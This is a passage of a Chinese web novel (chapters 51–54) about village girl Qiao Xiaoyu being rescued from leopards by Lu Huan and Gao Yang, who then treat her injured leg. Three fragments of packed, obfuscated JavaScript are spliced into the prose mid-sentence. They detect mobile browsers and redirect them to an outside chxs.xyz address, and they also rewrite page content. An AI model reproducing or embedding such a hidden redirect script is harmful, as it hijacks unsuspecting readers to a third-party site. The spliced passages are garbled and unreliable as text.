“我哪里知道躲在这树林里的是花豹子啊？”乔小遇颇显委屈地抹了一把眼泪，哭道：“幸好是你，呜呜……” 陆桓闻言，清肃的面色不禁柔和了几分，想她此时怕已是心神俱疲，终忍了腹中的那些责难之语。 高扬这时也走了过来。 51. 挺身而出 只瞧这人如踩高跷一般的行路姿势，便知他不是个规矩的，这一开口，得了！ “哎哟，山里蹦出一个小姑子，后头跟着两头花豹子，待我瞧瞧她是不是个孙猴子！”高扬的神情摆得像个说书先生，可嘴里哼着的调子听来却十分奇怪，仿佛是在曲台子上唱戏一般。 “桓弟，认识啊？”高扬笑眯眯地朝陆桓一问。 “嗯，乔小遇，清水镇乔家村的。”陆桓轻笑了笑，接着问乔小遇道：“可站得起来？有没有伤到哪里？” 乔小遇摇了摇头，示意自己并无大碍，她接着试图站起身来，然膝盖骨和小腿处却传来一道剧烈的撕扯感，直教她忍不住低呼出声。 “可是伤着了？”陆桓连忙搀将住乔小遇，关切地问道。 而这厢，争执不休的乔冉安夫妻俩且听得外间情形有异，终也赶忙住手…… “花豹子竟然倒下了？难道是那两个少年郎射的箭？”乔冉安惊讶出声，而他身旁的傅娘子早忍不住往女儿的方向奔了出去。 “小遇……” 陆桓与高扬皆循声看去。 “是人。”陆桓摆手示意高扬放下手中的弓箭，接着转过头来，眸色深沉地看向乔小遇，问道：“是你爹娘？” “嗯。”乔小遇对陆桓笑着点了点头，随即转过视线，朝那从土坡上踉跄着步子冲下的乔冉安夫妻俩大喊道：“爹，娘……我没事哩。” 陆桓见她转惊为喜，眉眼弯弯的神情仿佛已将腿上的伤抛于脑后，薄唇不禁紧抿成线。 “所以方才躲在那灌木丛后头那处的，并不止你一个？”陆桓的嗓音渐沉下来，“乔小遇，你可知当时我的箭头就对着那处？” 乔小遇闻言不由得微微一愣。 陆桓眸光里的情绪是一种连他也不太明白的晦涩，而乔小遇的直觉虽是一股灼热，可听着陆桓那冷冽的语气，只单纯当他这是生了气，便笑着安慰道：“可是你最终并没有伤到我啊。” 高扬亦在一旁笑声补道：“说来，终究是不确定那地方是否是花豹子的掩身之所，只怕那一箭射出去后，凭白地打草惊蛇。” “桓弟啊，看来你的箭术有待精进啊。这射箭嘛，最重要的还是眼力……” 高扬的语气是难得的正经，可不知为何，乔小遇在旁听着却总觉得有些违和…… 陆桓没有理会他，只静静地看着乔小遇她爹娘那两道愈来愈近的脚步。 “想来，小遇从灌木丛里冲出的事并非偶然——她是为了护住爹娘，这才挺身而出的。若我箭术不精，稍有偏移……她爹娘是能得以保全了，可她自己呢？” 陆桓几不可见地摇了摇头，心头的疑问却是愈来愈深，接着启口问道：“小遇，你难道早就猜到有人暗守着那两头花豹子？” 乔小遇且还顾着朝她娘挥手示意，听得陆桓发问，并不曾回转过头，只应道：“是啊……我瞧见你为了引野兽出来而往树叶上所放的那个烧土豆了。” “可见的是，你那烧土豆对花豹子完全没有什么吸引力……还是我这么个大活人管用啊。”乔小遇故作出一副感叹神色，明澈的眼睛侧瞥过陆桓。 “你猜得不错，陆桓他烧的土豆简直难以下咽，害得我中午饭都没吃饱呢。”高扬不知什么时候凑过来的，嫌恶地瞪了陆桓一眼后，这般低声对乔小遇说道。 陆桓也听见了高扬对自己的诽谤，默然片刻后，难得出声辩解：“这难道不是因为花豹子只爱吃肉的缘故？” “高扬，你自己身上带了馒头，当时怎么不试着用馒头引？加上中午饭，你已经抢了我两次烧土豆了……抢了吃却还骂说不好吃，哪有你这样的道理？”陆桓说完，一阵嘘声摇头。 “呵呵，你烧的土豆，不生不糊，真真好极了……我这夸你还不成么？”高扬皮上笑了笑，转头便故作出了副呕吐状。 不过，随着傅娘子的脚步渐近，高扬很快便敛起了他这般不正经的神情。 “小遇，你没事吧？” 傅娘子急匆匆地奔至女儿跟前，那双布满青筋的手犹如一株曲扭的枯藤般紧抓住了乔小遇，而她的眸中尽是惊惧之色。 乔小遇被她娘这般往下拖拽的力劲一扯，原被她暂忘了的那股疼痛倏然泛起，直教她眉头紧拧。 “没事……”乔小遇朝她娘轻笑了笑，只话音终究有些有气无力了，轻轻颤抖着的嘴唇已然失了血色，犹同白纸一般。 陆桓见她这般要强，皱眉冷哼出声：“真没事？那我便松手了？”接着，那只紧搀住乔小遇胳膊的手便假意一松…… “诶……”乔小遇的身体果然向下滑去——但很快又被陆桓和傅娘子搀支住。 “你这是怎么了？”傅娘子一脸焦急地问道。 而这时那落了傅娘子几步路的乔冉安也终于赶了上来，口中气喘吁吁地问道：“小遇还好么？” “她腿上受伤了。”陆桓瞥了眼傅娘子那双依旧用了力劲的手，话音微沉地道。 “什么？”傅娘子眉眼一跳，连忙松开自己的手，且见女儿轻缓过两口气来，她心底的情绪是愈发地愧疚与自责。 “你这胆子可真是大了！这般突然冲出树林，竟都不与我跟你爹说一声的？若你当真在这处野山林里有个什么三长两短，你让我和你爹有什么脸面回去？” “可瞧见后头追着你的野兽是什么了么？那可是花豹子呀！”傅娘子的话音里带了一丝哭腔，并非就真的存意指责，只她也是后怕得紧了。 乔冉安担心女儿听了不好受，赶忙扯了扯傅娘子的袖子，劝道：“孩子她娘，你就少说两句吧，咱且先离了这处再说。” “小遇，来，爹爹背你……”乔冉安吸了吸鼻，就着袖子将他满面的涕泗抹净，接着便在乔小遇跟前蹲下身来。 “咱们不急着回去。”乔小遇见状却是摆了摆手，苍白的面颊上显出一抹柔和的笑意来。 “这里多危险……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924380|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我真的没事。”乔小遇轻笑着打断了她爹的话音，而那道明澈的视线则轻轻地落在了陆桓身上。 陆桓的脸色不禁一沉……他如何不懂乔小遇的心思？ “便为着那几张花豹子皮，她却是一点都不害怕的？”陆桓拧了拧眉，可迎上乔小遇那道恳切的目光，他终不过摇头轻叹。 “罢了，谁教我欠你的呢。”陆桓撇了撇嘴，接着与乔冉安夫妻俩一同将乔小遇扶靠到一边的松树荫下稍作歇息。 “高扬，你去将那两匹不知去哪儿撒欢了的蠢马牵过来，那坑洞底下还有一头花豹崽子，也一齐将皮剥了吧。”陆桓一边轻挽起乔小遇的裤腿查看伤势，一边对高扬“吩咐”道。 高扬闻言有些惊疑地拿食指指了指自己，“怎么会是我去做这种苦活？” “那你来给人看伤？”陆桓的话音极淡，似笑非笑地看了高扬一眼。 “得！你成！”高扬吐了口气，下巴微垂着呵笑了声，接着便拾捡起地上的弓箭，折身大步离去了。 乔冉安夫妻俩可算是明白过来了女儿的想法，心头喜意蔓延之余，且瞧着乔小遇那已然肿胀得老高的小腿和膝盖头，酸涩的情绪便又一齐涌上…… “她……她这骨头是断了？这伤竟有这么重的？”乔冉安颤巍巍地问道。 “拉伤而已，却也有些碍事。”陆桓凝眉看了看伤情，缓声说道。然教陆桓惊讶的是，当他的指尖触及伤处时，乔小遇口中竟不曾有轻嘶抽气声冒出…… 陆桓抬眼朝乔小遇看去，只见她一边死抿着嘴唇，而那双黄褐色的眼睛里却洋溢着一抹轻柔的光亮，静静地探向她爹娘…… 陆桓复又将目光垂了下去，“便是自己死撑着，也不愿意教爹娘担心么？”似是想起了什么一般，陆桓的眉宇间有愁绪划过。 一旁的乔冉安且听得陆桓这般说，不禁气呼呼地道：“我都说了不要往深处来，可你们娘俩就是不听！这回可好了吧？” 傅娘子面呈愧色，口中竟说不出半句辩解的话来…… “我说小兄弟，要不咱们还是快些离了这地方吧，怎知这后头会不会还有别的什么野兽来？”乔冉安忍不住咂了咂舌，见陆桓的视线转向了女儿，忙跟着问道：“小遇，你可能忍一段路？” 乔小遇闻言，宁和的眸光里不由得多添了一分无奈。 “您不用担心，我们不会在此处耽搁过久。这地方原也算不上什么深处，而今儿你们遇到花豹子实属巧合。” 陆桓目光后移，下巴往坑洞的方向轻抬了抬，接着说道：“这三头花豹子，我和高扬已经盯了半天了，中途因为高扬放箭轻率，才使它们惊奔至附近的山头。” “至于猎坑的伏，应当是你们设下的吧？”陆桓看了乔小遇一眼，接着低头按压她的伤部，轻声叮嘱道：“你且忍耐些。” 乔小遇轻“嗯”了声，继续听陆桓往下说去，而不知为何，她渐也觉着伤处的疼痛减轻了些。 52. 狼狈之相 “循着血气和腐肉之味，三头花豹子便溜到了这处来。幼崽中伏，这两头花豹子却救之不得，只能一个劲儿地对着坑洞怒吼咆哮。之后，我与高扬便摸到了这边来。只他那身箭法，直与小孩子过家家差不多，竟重新把花豹子惊入林中躲了起来，而那头中伏的小花豹崽子则渐渐停了苦咛声……” 陆桓的话音微微一顿，才又继续说道：“但终究算是打草惊蛇了。林中虽有异动，我们亦知那是两头花豹子弄出来的动静，可它们警惕得很，迟迟不肯现身。” “直到你从那灌木丛里蹿出来……”陆桓沉沉地瞥了眼乔小遇，手上动作不禁加重了几分。 “啊呀！你这手也太重了！”乔小遇低呼出声，惨白的小脸上瞬时添了颜色，而那双清亮的眼眸里则蒙上了一层水雾，紧朝陆桓瞪过来。 “嗯，方才没怎么留意。”陆桓面上泛起一抹淡淡的愧色道。 “诶，你还是小心些……”傅娘子在旁扬了扬手，终不好得出言怪责，便只得这般说道。 不多时，高扬便牵了两匹马回来。 且瞧着黑风撒欢似地朝松荫下奔去，直对乔小遇摇头晃脑的情形，高扬不禁砸了咂舌，一边紧拉住自个儿那匹小黄马的缰绳，抚了抚它的脖颈，叹道：“你瞧瞧，不过见着个野丫头，黑风那厮便顾不上你了……” “小黄马啊小黄马，看来这下猎坑的活计，只有你能帮我了。” 高扬从乔冉安那随意丢在地上的竹篮里寻到了一股粗绳，本想吱个声，教人在旁帮自己一把，可没想这几人似都不曾留意到自己，他只得瘪了瘪嘴，自用绳子束住腰际，缓缓沿着猎坑的土壁滑下去。 “我的天爷！这下头这么恶心的啊，竟还有血糊糊的猪肝……这都腐臭了好么！” 高扬的声音直如杀猪一般，可算是将几人的注意力给吸引了过去。陆桓闻声，狭长的眸子里轻泛出几分促狭的笑意，旋又摇了摇头。 “小兄弟，且麻烦你先看着小遇的伤，我们去帮帮他。”乔冉安的面上难掩喜色，半微起身时与陆桓撂下这么句叮嘱后，便连忙转头去瞧猎坑那处的情形…… “嗯。”陆桓是无所谓的，左右乔小遇她爹娘在旁也帮不上什么忙，可抬眼瞥得乔小遇面上那道平静的神色后，陆桓却不由得皱起眉来，问道：“你爹娘平日里都这样？” “哪样？”乔小遇迎上陆桓探究的眸光，嘴角轻弯了弯，笑道：“比起他们在我跟前哭嚎的凄惨模样，我倒宁愿有旁的事分下他们的心神……” “或许这种相处方式会更自然些，不会给彼此造成太多的负担和压力。”乔小遇的话音淡淡的，仿佛下一息时，这话音便会被秋风挟裹着，渐飘散远去。 陆桓闻言，手中拧水袋子那木塞的动作不由得稍稍一滞…… “这水是我先前在山沟里接的，有些凉，应该抵用。等到了明日，你便换了热水敷。”陆桓轻声对乔小遇叮嘱道。 想着乔小遇身上应当不会带帕子这种物什，陆桓便也未问，只四顾了片刻，旋将弓木上缠着的黑布条解下来，就了凉水给她敷上。 乔小遇留意到，陆桓的那只弓的弓臂已有几处开裂的口子，是用了布条缠着才得用的，不禁疑问道：“这只弓是你上次用的那只么？怎么突然坏了？” 陆桓凝眉默然下来，片刻后才颔首道：“被我母亲不小心弄坏的……我本以为还能将就着用，但射箭时已明显感觉到不能再多使力了。” “或许我以后都没有来山林里猎兽的机会了，这弓箭终究没了用处，便只适合挂在支杆上……教人看着。”陆桓笑叹道。 乔小遇听出陆桓话音里的苦涩，探究的目光朝陆桓看去，可他的脸却沉入了阴影当中，直令人觉着是潭难测深浅的水一般，犹豫着是否要涉足其中。 陆桓又换过一次水，接着转过话题：“对了，你那什么……长田叔？他家的牛怎么样了？如今可还在拖着你爹娘和稀泥？” 乔小遇颔了颔首，旋又摇了摇头，微沉的目光仿似空地上的那几片枯黄之叶般，因重量不够便只能被秋风卷入空中，而无丝毫选择的余地…… 她轻叹了声，接着将村里近段日子以来所发生的那些零碎的事与陆桓轻声道来。 “你是说，那位帮陆家人看护山林的乔大闯被押进大牢里了？”陆桓一边使了劲，将布条上的水拧干，一边皱眉问道。 乔小遇有些不解地看了陆桓一眼，道：“这不是理所应当的么？他犯了事，自然是要受到惩处的。” “我倒不是这个意思，只是奇怪自己怎么都没听到半点风声。”陆桓轻笑着看了乔小遇一眼，接着用布条将乔小遇的腿给细细缠上。 “这不过昨晚上发生的事……何况这事与你什么干系？难不成你与乔大闯家沾亲带故？”乔小遇开口时语气极为散漫，可没想陆桓手上动作是使了气力的，话至半截终忍不住轻“嘶”出声。 陆桓紧忙将乔小遇那只乱挣的小腿给按住，清隽的面上是一副再正经不过的神情，“你且忍耐些。” 待将她伤腿处理完毕，陆桓才定定地看向乔小遇，笑道：“这事怎么就与我没干系了？乔小遇，我姓陆……” “姓陆？你……是陆家村的？”乔小遇忽觉着自己的嗓子眼处一阵干涩，而唇齿紧贴，直教她吐出这几个字词也极为困难。 “陆家村？”陆桓蹙了蹙眉，唇角却漾出了一丝笑意，道：“你说是村就是村吧……” “之前也不曾听你说起……”乔小遇直愣了愣，忙将半张脸垂下去，避开陆桓的视线。 “你不曾多问。”陆桓凝声笑道：“且你后来不是去过盛家庄了么？你既然知道我与盛家的关系，竟没有听盛家人胡扯几句？” “我以为我们可能就只会遇到那么一次，所以没有多打听你的事。”乔小遇扯了扯嘴角，低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924381|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应道。 “或许我也是，以为萍水相逢。”陆桓挑了挑眉，摇头低笑道：“只没想……” 见乔小遇重新转过视线来，陆桓戏笑着将这话补充完全，“只没想还会在老地方重逢，而你则是狼狈的那一个。” 乔小遇鼓了鼓嘴，笑哼了声：“那我们算是扯平了？救命之恩，又或是狼狈之相？” 陆桓瞥了眼自己在乔小遇腿伤处所打的那个布结，随即后仰了头，将水袋里的水一饮而尽，淡声道：“算得这么清楚，你就不担心日后会欠下我一堆人情么？” “嗯？” 乔小遇有些反应不及，正想打个浑样，开玩笑似地将这事扯过去，不料陆桓却轻轻启口：“再说，你的命什么时候能与我的相提并论了？” “呵……”乔小遇闻言干笑了笑，撇嘴道：“也是，你姓陆嘛。” 陆桓说这话的语气委实有些“欠打”，但乔小遇却不觉得有什么可伤自尊的地方，因为她心里明白，陆桓便是因为认了她这个朋友，不想当中界限分得过于清楚才如此说的…… 且瞥眼瞧得他笑得云淡风轻的模样，乔小遇眸底的笑意确显得愈发的柔和了。 阳光自松枝间渗落，在她透白的面颊上留下一小片扇形的阴影，正如蝴蝶在苜蓿花丛间停落，轻轻扑扇着翅膀的模样，生动而明媚。 高扬的动作十分利落，趁着陆桓与乔小遇处理伤腿的空隙，他已将那三头花豹子的皮给剥了下来。他朝着陆桓的方向挥了挥手里的棕黄色毛皮，原本满脸的喜笑在瞧见陆桓二人正惬意休息的情形后倏然凝住。 “诶，陆桓你今儿是带我进山作劳力的么？”高扬不满地努了努嘴，低头嫌恶地瞥了眼自己那身脏兮兮的衣裳。 “是你嚷嚷着要来的。”陆桓淡淡一笑，随即收回视线，起身去将那正在吃草的黑风拉将过来，问乔小遇道：“上马？” “我不会骑马啊……”乔小遇面露难色，而这话音方落，黑风便将头伸将过来，在她身上蹭了蹭，似在催促一般。 “可你的脚如今还不能触地，难不成你想让你爹把你背着回乔家村？”陆桓给黑风挠了挠痒，接着说道：“这蠢马行路很稳的，你放心吧，何况有我在前面给牵着。” “它不会撒了腿往前冲么？”乔小遇摸了摸黑风的大长脸，想及之前黑风蹿入林中吃酒瓶花的情形，她便不自觉地吞咽了口唾沫。 陆桓强忍了心头笑意，下巴朝高扬的方向轻抬了抬，说：“或许你也可以试试高扬的马……但我要提醒你的是，他那匹小黄马是我两年前便送与他的，可他驯马上身却是月初的事。” “今儿人央我进山来，实为着在我跟前秀秀他的骑射之术。”陆桓笑盈盈的目光转向乔小遇，轻叹道。 乔小遇若有所思地点了点头，“的确，我瞧着他也并非很靠谱的样子。” 话音落毕，两人不觉地相视一笑。 53. 心存芥蒂 看着乔小遇眼底的那抹晶莹笑意，陆桓心下确是泛起一股莫名的情绪来……仿佛周遭拂风落叶的速度竟是那般缓滞，乃至于叶片上的那些凸出的脉络是难得的清晰可见。 “诶，这花豹皮应当怎么分啊？”高扬的话音终打破了陆桓沉思的状态…… 陆桓恍惚了片刻，紧忙敛尽眸间情绪，说道：“自然是留给乔小遇家，你又用不上这东西。” “话可不能这般说吧？我好歹费了气力，桓弟，你总不能白使唤我吧。”高扬假意气哼出声，紧跺了脚道。 “你费什么气力了？两头花豹子中的是我的箭，与你有什么干系？且若非我出手及时，乔小遇可能就被伤到了……说来说去，还不是你靠不住？” 陆桓的话音不带一丝波澜，仿佛他不过是在叙述着一件再平淡不过的事。他唇角微弯，负手从树荫下走出。 高扬自觉尴尬，只眼睁睁地看着陆桓将那花豹皮从他手中抽拿过去，放到乔冉安的篮子里头，不禁气鼓鼓地朝陆桓咧了咧嘴。 “我们不缺这几张皮子，便都给你家吧。”陆桓的说话声十分亲切，而乔冉安夫妻俩闻言自是喜不自胜，赶忙拱手谢过。 “也谢谢小兄弟帮着剥花豹皮。”乔冉安亦对高扬拱了拱手。 “这……我其实什么忙也都没帮上，方才差些便添乱了。”高扬挠了挠后脑勺，也学了陆桓那一脸的和煦笑意。 然待乔冉安夫妻俩离步去看乔小遇的情况后，高扬这才转身对向陆桓，恶瞪了眼道：“诶，你这能不能在外头给我留些面子的？想当初你拜我爹学武时，我在旁可说了不少好话啊……” 陆桓闻言上下打量了他一眼，终不过淡笑了声，“你当初说的确是实话啊，我今日不也一般？” “算你狠！”高扬听得这话，假意生怒的神情终是紧绷不住，气笑着指了指陆桓的背影道。 …… 夜色清朦，满山的绿丛尽染为一片青墨色的阴影，从脚下蔓延而开。 乔小遇静静地看着天际处的那道分明的墨线，长久地发怔——直到听见傅娘子与陆桓的对话声。 “没想到你竟然就是上次猎了头野猪与我家的少年郎！哎哟，可了不得了，小遇直与我和她爹念叨，说你的箭法神得很……没想今儿竟有缘在这山里重遇。” 听着傅娘子话音里的热络劲，乔小遇不禁蹙了蹙眉，她记着自己并没有与她娘说过这些…… 但这似乎并不妨碍陆桓“深以为然”地应着客气话……乔小遇没忍住扶额轻叹，心道下一刻时她娘许就转了话题，与陆桓端出与村中妇人说道家长里短的架势了。 果不其然！ 不待在洞口处丢草喂马的高扬将他腹中那些故作黯然的话说出口，傅娘子接下来的问话便教他转了神情，忍俊不禁地轻笑出声…… “说来，我们上次去往盛家庄时，便听得桓小郎的一些边角事。道是耳闻不如亲见，你这般一表人才，实犯不着与它盛家庄多出那些牵扯不是？” 傅娘子正说到兴致上，全未留意到乔小遇与她递眼色，只接着对陆桓笑道：“你看啊，给人留了话柄不说，就是你日后娶个媳妇儿，听得那些风雨话，你岳丈一家难道不会心存芥蒂？” “这年轻人啊，便不该意气用事的。你若临行前与你母亲吱个声，你母亲许就不会在盛家庄落人口实了……”傅娘子一边说着，人也终于走到了火堆边，这才顿住话音，低叹出声。 乔小遇实觉着尴尬异常，可恨不得将头遁入火灰泥中，便是再抬起头来时，人也没法看清自己的神色不是？ 她的眼神悄悄地朝陆桓瞥去…… 然结果却与她预料的相差太多：陆桓并没有手足无措，脸色亦非青红交加，只眼笑眉舒地听着傅娘子说话，甚至颔首以应。 “娘，你们接水回来了啊……”乔小遇干笑着问候了句。 “嗯，回来了。”傅娘子随口一应，竟还满心思地惦记着陆桓的“边角事”，陆续对陆桓说了几句在她看来实算得“熨帖”的话…… 乔小遇两次出声转过话题，然未想陆桓却表现出一副“聆听教诲”的模样，对傅娘子点头微笑道：“您说得是。” 许是被傅娘子“感染”，原本闷声听笑的乔冉安接着竟也学了傅娘子的“腔调”，加入其中。 高扬在旁乐得看热闹，只他终究掩不住面上笑意，俯身埋头发笑，肩头一阵发颤…… “诶，你爹娘平日里竟是这样的？真教人觉着惊奇。”高扬拿手里的凑火柴轻敲了敲乔小遇的布鞋，忍不住低笑出声。 “呃……”乔小遇眉头发紧，一时竟也不知该如何接这话。 高扬没理会她，只不解地咂了咂舌，接着抬眼朝陆桓的方向瞥去，道：“不过桓弟方才的表现也着实令我惊叹，你知他在族学里是个什么模样么？那叫一个不近人情，寡而无趣！可今儿这情形，难道是学了那秋风转向？” 乔小遇顺着高扬的视线看去，且触及陆桓那双和润的眉眼，确也实难想象他那所谓的寡而无趣究竟是个什么模样。 可她并不喜欢爹娘端的这般态度：仿佛人长几岁，便有了“指点”的资格……事实上，各有各的处境，乔冉安夫妻俩也仅是站在自己的立场上对别人“指点”，自家的乌遭事都还拎不清哩。 乔小遇摇了摇头，却是打断了陆桓的应语，问道：“陆桓，你与高扬是明日一早就走么？” 陆桓疑惑的目光不禁朝乔小遇投来…… 且听高扬在旁点头接话道：“是啊。左右耍过了一趟，我与桓弟也到了离开的时候。小遇，你的腿既受了伤，留在山里也帮不上你爹娘什么忙，便跟我们先回去吧，这样也好照应些。” “可让你们绕往拖罗河那湾子的方向，会耽搁些时辰。”乔小遇有些不好意思地道。 高扬却是浑不在意，“这有什么关系？反正也就黑风能让你骑，我有我的小黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924382|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马，碍不着我什么事。” 高扬话音轻快，言毕还促狭地瞅了眼陆桓。 “那可麻烦你们了。”傅娘子闻言连忙出言相谢，正想出声叮嘱乔小遇几句，然那张泥黄色的面皮上所洋溢出的欣喜之色很快便被乔冉安的拉扯动作给引得凝滞下来。 傅娘子不解地侧过脸去，低声问乔冉安道：“你这是怎么了？” “呃……”乔冉安干动了动嘴皮，眼珠子如气□□般骨碌一转，忙又垂下头去。 傅娘子被乔冉安的反应搞得一头雾水。急躁如她，语气里便不自觉地加了一股子冲气，呵声道：“你怎么哑巴了？” “娘，您能帮我敷下伤么？”乔小遇嘴角扯出一丝笑意，对傅娘子出声相询。 她的打断方式终究太过明显，傅娘子的神情不禁愣了几息，却才反应过来乔冉安的意思——呵，可不就说想让陆桓二人为自家打上些猎物再回去嘛。 “难怪小遇她爹方才一直与陆桓强调说什么救命恩情，敢情儿这糟老头子还想着往人身上薅把羊毛？从前怎么没见他这么会算计……这都什么道理？” 傅娘子暗自腹谤，回头挖了乔冉安一大眼，只她到底不好将话摆到台面上，便只能硬挤出一抹笑容，往女儿的方向挪身过去，道：“好的，娘来帮你。” “嗯。”乔小遇低声以应，而随着她视线轻垂，嘴角的那丝笑意终转成了无奈。 余光轻瞥了眼身旁的高扬，且见他直往火边凑，却也不曾留意到乔冉安夫妻俩的举动的情形，乔小遇的心思可算是定了几分。 她并不想看到家里人对陆桓开口…… 乔小遇知道，只要她爹提出那种要求，陆桓与高扬想都不想就会答应，因为对他们而言，猎兽之事不过耍个场子而已。 可对自家而言呢？ 乔冉安找到了凭借，试图遮掩自己的怯懦——这样的情状在过去的几十年间一直没有得到改变，尤其在傅娘子嫁来乔家村，成了这个家里的主事人之后，乔冉安似乎更是“心安理得”地站在傅娘子身后了，而傅娘子便成了那个凭借。 而方才的情形，不过是乔冉安心冀着让陆桓也成为自己的“凭借”罢了。 乔小遇念及此处，几不可闻地轻叹了口气，心下既觉尴尬，又觉得有些无力。 “好在有娘在场，可算是把爹心头的想法给压了下去。”乔小遇低头看着傅娘子与她轻解开腿上的布条绷带，一边想着。 然接着陆桓却缓声启口。 “明日不妨等了你爹娘一同回去。”陆桓悠缓地拾起两根干木柴凑进火堆中，方才抬了抬眼，对高扬笑道：“总不好两手空空地回去不是？” 高扬闻言不禁有些惊讶，转即看向乔小遇一家人…… “花豹子便只有那张皮有些用处，而肉质却过于粗糙，市面上难有人买，野兔野鸡倒比这要好上许多，也易于搬运。”陆桓瞥了眼乔小遇她爹那惊愣住的模样，散漫出声。 54. 回绝好意 乔小遇且瞧得她爹那一脸的按捺不住的欣喜之色，不禁嗫嚅地动了动唇…… 陆桓虽然话说半截，可当中意思已然传达尽全——便不必乔冉安开口求助，也不教那句“我帮你家”的话摊得字字分明，他与高扬不过做了个顺水人情。 “我无所谓啊。”高扬笑着摊了摊手，待见自己这道话音一落，乔小遇她爹娘便表现出一副心石掉回肚子的神情，不禁对陆桓轻扬了扬下巴，笑得一脸莫名。 “可你上次便是因为我的事，在山中逗留许久，才惹出的风波……”乔小遇下意识避开她娘那道惊喜的目光，微促的话音轻吐而出，便是欲劝。 “那事与你无关。莫说我当晚赶回去，根本来不及阻止我母亲，就假设我从不曾到过这野山林处，人也会设计教我失踪一阵的。” 陆桓想起前不久家里所打发的那两个门房，话音沉顿了片刻。他终究不愿细说，接着转过话题，故作释然地笑了笑，道：“何况这回我是与高扬一同进山的，来之前我已经和我母亲打过招呼了。” “你不必觉着有所负担。”陆桓定定地对乔小遇说道：“关键是你的伤，明日不妨让你娘留下看护你吧。” 乔小遇眸色微凝，且听傅娘子轻叹出声，说改教乔冉安留在洞中看护她的话后，心绪一阵复杂。 “娘当真可说是摸透了爹的本性，知他不敢出头，随了陆桓他们进山猎兽，这才提议爹爹留下照看我的吧。”乔小遇心下如此暗叹，且抬眼瞥得陆桓眉间稍蹙了瞬，旋又敛起这丝微妙情绪的情形后，终究是半句劝阻的话也说不出口了。 夜色渐深，泛着清辉的月弯似也装了一腔沉甸甸的心事般，久久地盘挂在松梢头，不见挪升。 乔小遇盯看了月弯半晌，睡意愈消，且瞧得那自告奋勇说自己守夜的高扬已靠着石壁呼呼大睡的情状，不由得轻笑着摇了摇头。 而这时腿上的痛觉莫名地清晰了几分，乔小遇无奈之余，只得用手肘撑了上身，缓缓坐将起来，看眼伤势…… “你做什么？” 空静的夜里传来一道低闷之声。 乔小遇没想这么晚了，陆桓竟还未睡着。 见他起身朝自己走近，乔小遇方才低声应道：“腿上还疼着，所以睡不安稳……是我吵你了？” “这与你没有什么干系，是我自己睡不着。”陆桓俯身探了探乔小遇的伤势，沉吟道：“我帮你再用冷水敷一回吧。” 听得山洞内另三人“此起彼伏”的呼吸声，乔小遇也不好叫醒她娘，便对陆桓点了点头。 陆桓温和一笑，显得这张映着银色月光的面庞似乎少了几分冷意……且看着陆桓轻手轻脚地将水罐拿过，低头认真与自己拆布条绷带的情形，乔小遇心头那丝若有若无的局促感终得了消减。 “你在家里没这么‘伺候’过人吧？真是难为你了。”乔小遇轻笑着打趣道。 “在家的时候是，可去高扬家就不定了。”陆桓的唇角轻漾起一丝笑意，接着补充道：“高扬便是我从前与你提起过的那位我在族学里的朋友，他爹是我师父。” “这样啊……”乔小遇作恍然状轻点了点头，旋笑道：“所以你这直下凡尘的举动，是得益于你师父的教导了？可见的是，你没有白费你师父的一番苦心。” “直下凡尘，这是什么形容？”陆桓没好气地白了一眼乔小遇，眸底笑意微凝，颔首道：“不过，亦可见的是，我母亲认为拜师学武并非正途。” 陆桓拧干了水，重新给乔小遇缠上布条，接着沉声说道：“我在家时，我母亲非得时常见着我在温书才能安心，而旁的的事我一向不必理会，自有书童小厮打点照顾。你说的直下凡尘，却也不尽然……” “哪怕我家中光景日渐衰败，与舅舅家渐断了往来，我母亲开始缩减家中用度，却也不曾减过我温书的半点花销……” 乔小遇听着陆桓渐沉下去的声音，秀眉微蹙，正犹豫着是否要说些什么，却见陆桓轻轻摇头：“你不用想着安慰我……我母亲并非是简单地想着望子成龙。” 陆桓轻吐出口气，尽将心湖当中所泛起的波澜敛起，话音重归于淡然。乔小遇见状便也不再多问，只不知为何，她竟渐渐觉着两人之间的距离感复又变得明晰起来。 空气一阵沉默。 陆桓稍稍抬眼，见乔小遇怔怔发呆的模样，也不知她在想什么，不自觉地皱了皱眉，转过话题道：“对了，关于你们村里的那些事，你是怎么想的？” “你说何照熊家还是乔大闯家？” 乔小遇收回神来，见陆桓笑意莫名，疑问道：“我能怎么想呢？这两家人都有各自的路子去把人从大牢里捞出来，且不管这路子能不能行得通，对我家并没有什么妨碍……于我而言，能顾好自己家里的小日子就已经很不错了。” 陆桓神色微愣片刻，摇头失笑道：“我原以为遇到这种事，就算是个旁观者也应当立场分明，可没想到你会是这种反应。” 